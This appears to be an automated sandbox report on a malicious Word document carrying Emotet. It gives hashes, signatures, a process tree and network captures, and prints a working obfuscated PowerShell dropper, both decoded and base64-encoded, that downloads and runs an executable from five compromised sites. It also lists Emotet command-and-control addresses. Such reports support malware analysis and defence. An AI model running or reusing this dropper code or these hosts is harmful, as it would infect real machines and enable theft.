Analysis

  • max time kernel
    27s
  • max time network
    12s
  • platform
    windows7_x64
  • resource
    win7v200722
  • submitted
    29-07-2020 00:38

General

  • Target

    e2829cb03239b1922a1118d2511e5e12a455a8a8ad2effee641ed1e539420a02.doc

  • Size

    168KB

  • MD5

    a8948022eddac2efe3a035daba5bbcb7

  • SHA1

    df2c1fb9675000ee1f7504c932036fd07e7a79c9

  • SHA256

    e2829cb03239b1922a1118d2511e5e12a455a8a8ad2effee641ed1e539420a02

  • SHA512

    5f80eb160d9b67263f7b1cb91d5c307e5511732245145b4491534775cb5df8a70d5d829f3ec20b725ca0f2080bf5710407f33f179aac8b5e2287df09578f1cbd

Score
10/10

Malware Config

Extracted

Language
ps1
Source
1
$YQPAOasr='YDNRMrjc';[Net.ServicePointManager]::"SEcuR`iTYpR`OTO`C`ol" = 'tls12, tls11, tls';$DBAJGkme = '49';$NFDIMdhc='PAEHTlpc';$WRYSYsxi=$env:userprofile+'\'+$DBAJGkme+'.exe';$WCYAGyye='MPJZDjbr';$XKDAKbzs=.('new-o'+'b'+'ject') neT.webCLIENt;$GDWGUgld='https://mossfs.com.au/wp-content/fVrTuWOb/*https://rtisistemas.com.br/jdetsob/Ov3a8106w4g7x17030547/*http://slbqms.co.ls/cgi-bin/CHrsuXU/*http://sertcom.net/_vti_bin/LiUoBmTHW/*http://skpsoft.com/wp-admin/YnsFh/'."spl`It"([char]42);$UHDWGymc='UVUGXohg';foreach($YGOUXmnt in $GDWGUgld){try{$XKDAKbzs."d`oWNlo`A`DFile"($YGOUXmnt, $WRYSYsxi);$MNYFKhnv='XPWUFbqu';If ((.('Get-I'+'tem') $WRYSYsxi)."Leng`Th" -ge 35951) {([wmiclass]'win32_Process')."C`Reate"($WRYSYsxi);$ZVZOEeei='GRUSXkpd';break;$PXVJLkon='ZPSPDtih'}}catch{}}$MZUAGyrp='CWZKQxte'
URLs
exe.dropper

https://mossfs.com.au/wp-content/fVrTuWOb/

exe.dropper

https://rtisistemas.com.br/jdetsob/Ov3a8106w4g7x17030547/

exe.dropper

http://slbqms.co.ls/cgi-bin/CHrsuXU/

exe.dropper

http://sertcom.net/_vti_bin/LiUoBmTHW/

exe.dropper

http://skpsoft.com/wp-admin/YnsFh/

Extracted

Family

emotet

C2

177.37.81.212:443

74.207.230.187:8080

190.164.75.175:80

87.252.100.28:80

105.209.239.55:80

163.172.107.70:8080

37.208.106.146:8080

24.157.25.203:80

212.112.113.235:80

140.207.113.106:443

75.139.38.211:80

192.210.217.94:8080

46.49.124.53:80

75.127.14.170:8080

87.106.231.60:8080

139.59.12.63:8080

181.167.35.84:80

201.214.108.231:80

74.208.173.91:8080

189.146.1.78:443

rsa_pubkey.plain
1
-----BEGIN PUBLIC KEY-----
2
MHwwDQYJKoZIhvcNAQEBBQADawAwaAJhAM/TXLLvX91I6dVMYe+T1PPO6mpcg7OJ
3
cMl9o/g4nUhZOp8fAAmQl8XMXeGvDhZXTyX1AXf401iPFui0RB6glhl/7/djvi7j
4
l32lAhyBANpKGty8xf3J5kGwwClnG/CXHQIDAQAB
5
-----END PUBLIC KEY-----
6

Signatures

  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Emotet Payload 2 IoCs

    Detects Emotet payload in memory.

  • Blacklisted process makes network request 1 IoCs
  • Suspicious use of SetWindowsHookEx 6 IoCs
  • Drops file in System32 directory 2 IoCs
  • Modifies system certificate store 2 TTPs 2 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs
  • Modifies registry class 280 IoCs
  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\e2829cb03239b1922a1118d2511e5e12a455a8a8ad2effee641ed1e539420a02.doc"
    1⤵
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Modifies registry class
    PID:1508
  • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
    powersheLL -e JABZAFEAUABBAE8AYQBzAHIAPQAnAFkARABOAFIATQByAGoAYwAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAEUAYwB1AFIAYABpAFQAWQBwAFIAYABPAFQATwBgAEMAYABvAGwAIgAgAD0AIAAnAHQAbABzADEAMgAsACAAdABsAHMAMQAxACwAIAB0AGwAcwAnADsAJABEAEIAQQBKAEcAawBtAGUAIAA9ACAAJwA0ADkAJwA7ACQATgBGAEQASQBNAGQAaABjAD0AJwBQAEEARQBIAFQAbABwAGMAJwA7ACQAVwBSAFkAUwBZAHMAeABpAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJABEAEIAQQBKAEcAawBtAGUAKwAnAC4AZQB4AGUAJwA7ACQAVwBDAFkAQQBHAHkAeQBlAD0AJwBNAFAASgBaAEQAagBiAHIAJwA7ACQAWABLAEQAQQBLAGIAegBzAD0ALgAoACcAbgBlAHcALQBvACcAKwAnAGIAJwArACcAagBlAGMAdAAnACkAIABuAGUAVAAuAHcAZQBiAEMATABJAEUATgB0ADsAJABHAEQAVwBHAFUAZwBsAGQAPQAnAGgAdAB0AHAAcwA6AC8ALwBtAG8AcwBzAGYAcwAuAGMAbwBtAC4AYQB1AC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvAGYAVgByAFQAdQBXAE8AYgAvACoAaAB0AHQAcABzADoALwAvAHIAdABpAHMAaQBzAHQAZQBtAGEAcwAuAGMAbwBtAC4AYgByAC8AagBkAGUAdABzAG8AYgAvAE8AdgAzAGEAOAAxADAANgB3ADQAZwA3AHgAMQA3ADAAMwAwADUANAA3AC8AKgBoAHQAdABwADoALwAvAHMAbABiAHEAbQBzAC4AYwBvAC4AbABzAC8AYwBnAGkALQBiAGkAbgAvAEMASAByAHMAdQBYAFUALwAqAGgAdAB0AHAAOgAvAC8AcwBlAHIAdABjAG8AbQAuAG4AZQB0AC8AXwB2AHQAaQBfAGIAaQBuAC8ATABpAFUAbwBCAG0AVABIAFcALwAqAGgAdAB0AHAAOgAvAC8AcwBrAHAAcwBvAGYAdAAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8AWQBuAHMARgBoAC8AJwAuACIAcwBwAGwAYABJAHQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABVAEgARABXAEcAeQBtAGMAPQAnAFUAVgBVAEcAWABvAGgAZwAnADsAZgBvAHIAZQBhAGMAaAAoACQAWQBHAE8AVQBYAG0AbgB0ACAAaQBuACAAJABHAEQAVwBHAFUAZwBsAGQAKQB7AHQAcgB5AHsAJABYAEsARABBAEsAYgB6AHMALgAiAGQAYABvAFcATgBsAG8AYABBAGAARABGAGkAbABlACIAKAAkAFkARwBPAFUAWABtAG4AdAAsACAAJABXAFIAWQBTAFkAcwB4AGkAKQA7ACQATQBOAFkARgBLAGgAbgB2AD0AJwBYAFAAVwBVAEYAYgBxAHUAJwA7AEkAZgAgACgAKAAuACgAJwBHAGUAdAAtAEkAJwArACcAdABlAG0AJwApACAAJABXAFIAWQBTAFkAcwB4AGkAKQAuACIATABlAG4AZwBgAFQAaAAiACAALQBnAGUAIAAzADUAOQA1ADEAKQAgAHsAKABbAHcAbQBpAGMAbABhAHMAcwBdACcAdwBpAG4AMwAyAF8AUAByAG8AYwBlAHMAcwAnACkALgAiAEMAYABSAGUAYQB0AGUAIgAoACQAVwBSAFkAUwBZAHMAeABpACkAOwAkAFoAVgBaAE8ARQBlAGUAaQA9ACcARwBSAFUAUwBYAGsAcABkACcAOwBiAHIAZQBhAGsAOwAkAFAAWABWAEoATABrAG8AbgA9ACcAWgBQAFMAUABEAHQAaQBoACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAE0AWgBVAEEARwB5AHIAcAA9ACcAQwBXAFoASwBRAHgAdABlACcA
    1⤵
    • Process spawned unexpected child process
    • Suspicious behavior: EnumeratesProcesses
    • Blacklisted process makes network request
    • Drops file in System32 directory
    • Modifies system certificate store
    • Suspicious use of AdjustPrivilegeToken
    PID:1816
  • C:\Users\Admin\49.exe
    C:\Users\Admin\49.exe
    1⤵
    • Suspicious use of SetWindowsHookEx
    • Drops file in System32 directory
    • Executes dropped EXE
    • Suspicious use of WriteProcessMemory
    PID:1312
    • C:\Windows\SysWOW64\uxlib\mssprxy.exe
      "C:\Windows\SysWOW64\uxlib\mssprxy.exe"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of SetWindowsHookEx
      • Executes dropped EXE
      PID:1732

Network

  • flag-unknown
    DNS
    mossfs.com.au
    Remote address:
    8.8.8.8:53
    Request
    mossfs.com.au
    IN A
    Response
    mossfs.com.au
    IN A
    212.83.190.245
  • flag-unknown
    GET
    https://mossfs.com.au/wp-content/fVrTuWOb/
    powersheLL.exe
    Remote address:
    212.83.190.245:443
    Request
    GET /wp-content/fVrTuWOb/ HTTP/1.1
    Host: mossfs.com.au
    Connection: Keep-Alive
  • 212.83.190.245:443
    https://mossfs.com.au/wp-content/fVrTuWOb/
    tls, http
    powersheLL.exe
    12.0kB
    710.3kB
    251
    478

    HTTP Request

    GET https://mossfs.com.au/wp-content/fVrTuWOb/
  • 224.0.0.252:5355
    100 B
    2
  • 8.8.8.8:53
    mossfs.com.au
    dns
    59 B
    75 B
    1
    1

    DNS Request

    mossfs.com.au

    DNS Response

    212.83.190.245

MITRE ATT&CK Enterprise v6

Replay Monitor

Loading Replay Monitor...

Downloads

  • memory/1312-13-0x0000000000330000-0x000000000033C000-memory.dmp

    Filesize

    48KB

  • memory/1508-2-0x00000000089E0000-0x00000000089E4000-memory.dmp

    Filesize

    16KB

  • memory/1508-4-0x0000000006F30000-0x0000000007130000-memory.dmp

    Filesize

    2.0MB

  • memory/1508-6-0x000000000ADE0000-0x000000000ADE4000-memory.dmp

    Filesize

    16KB

  • memory/1508-7-0x000000000BE60000-0x000000000BE64000-memory.dmp

    Filesize

    16KB

  • memory/1508-10-0x0000000002100000-0x0000000002101000-memory.dmp

    Filesize

    4KB

  • memory/1732-16-0x0000000000300000-0x000000000030C000-memory.dmp

    Filesize

    48KB

We care about your privacy.

This website stores cookies on your computer. These cookies are used to improve your website experience and provide more personalized services to you, both on this website and through other media. To find out more about the cookies we use, see our Privacy Policy.